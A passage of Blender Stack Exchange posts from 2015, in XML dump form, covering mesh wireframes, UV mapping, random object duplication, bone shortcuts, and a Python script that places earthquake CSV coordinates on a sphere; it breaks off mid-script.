  <row Id="36824" PostTypeId="2" ParentId="36819" CreationDate="2015-08-31T22:44:52.257" Score="6" Body="&lt;h2&gt;Some dirty ways&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1) Inset faces&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a possible &lt;strong&gt;&lt;em&gt;workaround&lt;/em&gt;&lt;/strong&gt; based on Inset faces (Individually), Dissolve edges and Extrude (Vertex normals) . It won't give you perfect results, but maybe can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First step is select all, than press &lt;kbd&gt;I&lt;/kbd&gt; twice and tune the inset amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/g0yTC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/g0yTC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch to vertex selection and invert selection. Store the selection in a vertex group. Invert again and delete the faces. Than select the items from previously created vertex group and run Dissolve Edges command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OGRHu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OGRHu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point we should have obtain a pletora of n-gons, most of them will probably be non flat and have other issues, but they should approximate our mesh not too badly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extrude the Region along Vertex Normals by an amount that may do the section look like if it is a square (or a rectangle) and you'll get the &lt;strong&gt;&lt;em&gt;illusion&lt;/em&gt;&lt;/strong&gt; of a squared section wireframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aGGOc.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aGGOc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method works best when there is a smooth transition in surface's curvature. For the 90° degrees angles of the image below it was needed to fix the n-gons (with Split Non Planar Faces command) as their non-planar nature was too pronounced:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xBgRhm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xBgRhm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/kKyGim.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kKyGim.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice how the polygon below the gizmo is clearly distorted.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2) Bevel Wireframe modifier&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possible workaround could be to take advance of the wireframe modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add and apply a &lt;strong&gt;Wireframe modifier&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BRBwG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BRBwG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Select&lt;/strong&gt; one vertex of the four that marks each hole and then extend selection to all the vertices that has the &lt;strong&gt;same amount of connecting edges&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9AGeh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9AGeh.png&quot; alt=&quot;![enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Invert&lt;/strong&gt; selection and then &lt;strong&gt;Bevel&lt;/strong&gt; the edges connected by the freshly selected vertices &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Hkx7L.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hkx7L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Invert&lt;/strong&gt; face selection, &lt;strong&gt;delete&lt;/strong&gt; the faces and then delete one of the two resulting mesh pieces too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/frUsc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/frUsc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finish by extruding the faces with a &lt;strong&gt;Solidify modifier&lt;/strong&gt; with an appropriate value of Thickness (to match the beveled edge lenght).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uqQjT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uqQjT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-12-12T03:11:59.110" LastActivityDate="2015-12-12T03:11:59.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36825" PostTypeId="1" CreationDate="2015-08-31T23:06:03.753" Score="1" ViewCount="2247" Body="&lt;p&gt;I am modifying a pre-made armor mesh. The armor has some holes in it that I would really like gone. So I deleted the faces with the holes and replaced them with new faces. The problem is that the UV map does not add the new faces, so the new faces are not being textured with the rest of the armor. I know I can unwrap the new section, then patch the UV map manually, but I would prefer a more automatic way since it would probably look a bit better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the holes I don't want in the mesh.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/U2xdg.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/U2xdg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the mesh after I replaced the old faces, and used unwrap on the new ones.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZGnaE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZGnaE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am pretty new to Blender and I am using an outdated version, but any advise would be greatly appreciated. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="16822" LastActivityDate="2015-08-31T23:29:52.373" Title="Can the UV map be updated without unwrapping the mesh?" Tags="&lt;mesh&gt;&lt;uv&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36826" PostTypeId="1" CreationDate="2015-08-31T23:07:15.087" Score="3" ViewCount="1409" Body="&lt;p&gt;My goal is to make a field of grass in blender. I have one &quot;blade of grass&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to duplicate it 100 times, and make each element a different size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greeting Pat&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for a better view i upload screenshot for blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/GZAb8QE.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="16823" LastEditorDisplayName="user1853" LastEditDate="2015-08-31T23:24:14.807" LastActivityDate="2015-09-01T00:50:10.970" Title="Duplicate object in different sizes" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36827" PostTypeId="1" AcceptedAnswerId="36832" CreationDate="2015-08-31T23:25:37.223" Score="2" ViewCount="431" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RReYP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RReYP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this floor mesh which was modeled using the array modifier w/ rotation to create an hexagonal shape. I started unwrapping and marked my seams (in red). The edges selected in ORANGE are the ones on which I do not want any seams, but they happen to be on opposite sides of the mesh. Therefore I need to align them (as if they were merged) but the weld and stitch commands are no good because they are on opposite sides of the mesh. How to superpose them precisely on top of each other so there are no visible seams, or at least how do I align these islands based on the selected edges without moving only the edges and distorting the map (I need the whole island to move along).&lt;/p&gt;&#xA;" OwnerUserId="14972" LastActivityDate="2015-09-01T00:38:54.927" Title="UV unwrapping mesh with radial array modifier" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36829" PostTypeId="2" ParentId="36825" CreationDate="2015-08-31T23:29:52.373" Score="2" Body="&lt;p&gt;First select the original UVs and pin using &lt;kbd&gt;P&lt;/kbd&gt; shortcut and enable &lt;strong&gt;Live Unwrap&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the UV/Image Editor move one of the vertices of the new created faces and it should snap the faces in the right position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QW3N6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QW3N6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-08-31T23:29:52.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36830" PostTypeId="2" ParentId="36826" CreationDate="2015-08-31T23:31:14.820" Score="5" Body="&lt;p&gt;You can use:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1) Hair Particle system&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Just set random size to 1 as in the picture below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vrXbp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vrXbp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2) 2D Arrays &amp;amp; Randomize transform&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Duplicate the object 10x10 times&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oq3HV.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oq3HV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than apply modifers, enter edit mode, spilt by loose parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you'll have 100 different objects. Run the command Randomize Transform and set the XYZ Pos, Rot, Scale variance factors and the seed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dgNPz.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dgNPz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obiuvsly the first method gives you the opportunity to change the base object at anytime, so it usually preferred.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3) Random Object Array add-on&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It's an add you can find on &lt;a href=&quot;https://cgcookiemarkets.com/blender/all-products/random-object-array/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Market&lt;/a&gt; (so it's not free). As stated by the author:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A particle system is great for hair, particles, fur, even grass. But it can become an obstacle for other purposes. Compared to a particle system, the Random Object Array add-on offers much more control over random values like rotation, position, &lt;strong&gt;scale&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here's a video about it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://youtu.be/ugaEllRttAk?t=8m13s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://youtu.be/ugaEllRttAk?t=8m13s&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-09-01T00:00:37.703" LastActivityDate="2015-09-01T00:00:37.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36831" PostTypeId="2" ParentId="36827" CreationDate="2015-08-31T23:47:56.487" Score="0" Body="&lt;p&gt;Consider creating only one section of the floor and unwrapping it first.  Texture it first.  Then duplicate it radially second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to create a frame of this radially symmetric image, save it as a pnc file, and use it a texture on an some other simpler mesh.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-08-31T23:47:56.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36832" PostTypeId="2" ParentId="36827" CreationDate="2015-09-01T00:13:04.633" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Enable UV snap and change it to &lt;strong&gt;Vertex&lt;/strong&gt;, then move one island till it snaps to one of the connecting vertices.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6MU0M.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6MU0M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Select the connecting vertex and snap 2D cursor to its location using &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; Shortcut and change Pivot Point to 2D Cursor&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yzbpD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yzbpD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Select one UV island and rotate it till it snaps to the other side of second UV island.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/s0ZlC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s0ZlC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-09-01T00:38:54.927" LastActivityDate="2015-09-01T00:38:54.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36833" PostTypeId="2" ParentId="36820" CreationDate="2015-09-01T00:26:07.580" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3t8bc.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3t8bc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a modest sloppy facsimile at the end of the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must adjust to taste and artistry.&#xA;I am trying to show a technique and you can run free from there.&lt;br&gt;&#xA;I am not using the exact same settings as the old manual.&#xA;I am not using Fresnel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender Render. Please note there are no lights in the image below.&#xA;Shadeless Material and Texture Mapping Coordinates [Normal] with an Radial Gradiant Image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a material setting&#xA;Note the shadeless and transparency&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/b6uO9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b6uO9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a texture setting. Note the coordinates are [Normal].  The circular image with transparency. The color ramp to threshold color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/e2rJz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e2rJz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the alpha is modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4ifLp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4ifLp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the circular image which is transparent in middle. &#xA;This can be created in GIMP or Blender.  The color ramp modifies the intensity of this image.  Modify all to suit your tastes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hu483.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hu483.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some experiments to show some use of the color ramp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/z42Ew.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/z42Ew.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below we see transparency.  The Mapping Coordinates is (Geometric Surface) [Normal].  Exaggerated white colors.&#xA;Note the color ramp with the Red Marker.  You may change that to blue.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/iNL8v.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iNL8v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Please experiment and know my circular image could be simplified by you.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-09-02T16:23:20.733" LastActivityDate="2015-09-02T16:23:20.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36834" PostTypeId="1" CreationDate="2015-09-01T00:32:03.697" Score="3" ViewCount="1956" Body="&lt;p&gt;I've been trying to change the width of b-bones using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; shortcut, when I do that it just selects hp support info instead of allowing me to change width.&lt;/p&gt;&#xA;" OwnerUserId="16824" LastEditorUserId="15795" LastEditDate="2017-01-23T14:31:28.473" LastActivityDate="2017-01-23T14:31:28.473" Title="Using ctrl alt s to change b-bone size" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36835" PostTypeId="2" ParentId="36834" CreationDate="2015-09-01T01:07:59.870" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Open User Preferences &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;  &lt;/li&gt;&#xA;&lt;li&gt;Switch to &lt;strong&gt;Input&lt;/strong&gt; Section.  &lt;/li&gt;&#xA;&lt;li&gt;Type in search &lt;strong&gt;Transform&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Under &lt;strong&gt;Pose&lt;/strong&gt; you will see the shortcut that is associated with bone transform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Nrv1f.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nrv1f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-09-01T01:07:59.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36836" PostTypeId="2" ParentId="36809" CreationDate="2015-09-01T02:34:06.643" Score="1" Body="&lt;p&gt;Each object will have it's own UV Map. The UV Map is how the texture is mapped to the vertices. So, you need one UV Map per Object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to view UVMaps for all 4 cushions, you have some options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can join the cushions into one object (select all the objects in Object Mode and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt;). Then, you can just resize the current  UVMaps to fit on the texture.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is a 'Show Other Objects' option in UV Editor -&gt; View.  This only works if you have multiple objects selected, and they are using the same texture. With multiple objects selected, you can still tab over to edit mode. but you are only modifying the active object. (the active object is the last object selected)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8NmgC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8NmgC.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The UVMap outlines are light grey and hard to see. But, with 3 cushions selected, if you look closely, you can see all the overlapping islands in the texture window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hopefully this helps some.&lt;/p&gt;&#xA;" OwnerUserId="674" LastEditorUserId="7797" LastEditDate="2015-09-02T10:52:26.240" LastActivityDate="2015-09-02T10:52:26.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36837" PostTypeId="1" AcceptedAnswerId="36843" CreationDate="2015-09-01T03:31:10.783" Score="4" ViewCount="2356" Body="&lt;p&gt;I have a table of Earthquake data in CSV, that includes Lat Long coordinates.&#xA;&lt;a href=&quot;https://drive.google.com/file/d/0B2f9Rho0-bZfZVc5aE03U19GVVU/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;CSV file download&lt;/a&gt; I want to convert them to Blender coordinates (on sphere or flat it doesn't matter as I can fit them to a map later).&#xA;I hope to place an object at each location that references the magnitude value. Then I will make them appear in order over time, which is the other column of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can import the CSV and convert to text objects for the magnitude with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy # THIS IS A MUST TO IMPORT ALL BLENDER PYTHON MODULE&#xA;import csv # IMPORT CSV MODULE&#xA;&#xA;# READ INPUT FILE&#xA;&#xA;file = csv.reader(open('\\Users\mcsweend2c\Desktop\Bearthquakes 6-9.csv', newline=''), delimiter=',')&#xA;&#xA;curRow = [] #empty placeholder for current row&#xA;&#xA;for idx, row in enumerate(file):&#xA;    if idx&amp;lt;40: # this is hard coded at the moment&#xA;&#xA;        curRow = row&#xA;&#xA;        # display first data index as string&#xA;        bpy.ops.object.text_add(location=(0,idx,0), rotation=(0,0,0))&#xA;        bpy.ops.object.editmode_toggle()&#xA;        bpy.ops.font.delete()&#xA;        bpy.ops.font.text_insert(text=curRow[0])&#xA;        bpy.ops.object.editmode_toggle()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'm not sure how to separate and use the rest?&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="241" LastEditDate="2020-05-23T15:11:04.670" LastActivityDate="2020-05-23T15:11:04.670" Title="Convert CSV Latitude longtitude to Blender coordinates" Tags="&lt;python&gt;&lt;animation&gt;&lt;import&gt;&lt;csv&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36838" PostTypeId="1" AcceptedAnswerId="36943" CreationDate="2015-09-01T03:43:43.810" Score="0" ViewCount="305" Body="&lt;p&gt;So, I think I actually &amp;quot;get&amp;quot; blender pretty well, I want to know from a workflow approach, how would I make a sidewalk, with lumpy ground underneath it. I want the sidewalk to look like it is pressing the dirt away, and the grass growing on my dirt should not be poking out through the &amp;quot;solid sidewalk&amp;quot; right now I have them as two separate objects, one named &amp;quot;sidewalk&amp;quot; the other &amp;quot;dirt&amp;quot; since they are both very different materials I assumed they need to be two different objects.&lt;/p&gt;&#xA;&lt;p&gt;Generally the thing I'm looking for would also apply to how to make animal tracks in snow, tire tracks in sand, etc... if you guys could just point me in the right direction, I don't mind doing my research, I just don't know where to even start.  Oh, also, I can't shrinkwrap my sidewalk to the land, that would cause the sidewalk to be lumpy on top.&lt;/p&gt;&#xA;&lt;h2&gt;update&lt;/h2&gt;&#xA;&lt;p&gt;So, lol I just tried to apply the sidewalk as a shrinkwrap to the ground then I added the sidewalk to a vertex group, assign, selected only the top of the sidewalk vertexes and removed them from the group....That worked pretty well, now if I could get the particles to stop &amp;quot;coming through&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Here's what I want, the only comment I got seemed to focused on a very specific situation, as I said, this question applies to any situation where one surface should be &amp;quot;disturbed&amp;quot; by another.  Here are images like I am describing&#xA;&lt;a href=&quot;https://i.stack.imgur.com/PizPw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PizPw.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xFUWZ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xFUWZ.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16033" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-09-03T07:25:17.733" Title="Sidewalk and grassy dirt?" Tags="&lt;modifiers&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36843" PostTypeId="2" ParentId="36837" CreationDate="2015-09-01T05:59:03.753" Score="7" Body="&lt;p&gt;Here's how you read the CSV, reformat the dates, sort the quakes by date, convert lat/long to x/y/z then output each row as a text object on the outside of a hypothetical sphere (with the object name set to the date of the quake in YYYY-MM-DD format) with the text oriented so that it sits flat on the surface. Fonts and materials and other tweaks to be supplied by you. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based this off &lt;a href=&quot;https://stackoverflow.com/questions/10473852/convert-latitude-and-longitude-to-point-in-3d-space&quot;&gt;https://stackoverflow.com/questions/10473852/convert-latitude-and-longitude-to-point-in-3d-space&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# imports to make all the things work&#xA;from math import sin, cos, radians, pi, atan, tan&#xA;import csv&#xA;import bpy&#xA;&#xA;# define some helpful functions for later&#xA;&#xA;# a function to make, scale and rotate text objects into place&#xA;def makeathing(coords, scale, lat, long, date):&#xA;    rotation = (radians(lat - 270), pi, radians(long - 90))&#xA;    bpy.ops.object.text_add(location=(coords), rotation=(rotation))&#xA;    ob = bpy.context.object&#xA;    # set object properties here&#xA;    ob.data.body = &quot;{:.1f}&quot;.format(float(scale))&#xA;    ob.data.align = 'CENTER'&#xA;    ob.rotation_mode = 'YXZ'&#xA;    ob.data.size = 0.03&#xA;    ob.data.extrude = 0.002&#xA;    ob.data.name = date&#xA;    ob.name = date&#xA;&#xA;# a function to turn 3D polar coordinates into 3D cartesian coordinates&#xA;def latlonger(lat_deg, lon_deg):&#xA;    lat = radians(lat_deg)&#xA;    lon = radians(lon_deg)&#xA;    # see: http://www.mathworks.de/help/toolbox/aeroblks/llatoecefposition.html&#xA;    alt = 0.01&#xA;    rad = 2                                     # radius of sphere in BUs&#xA;    f  = 0.0                                    # 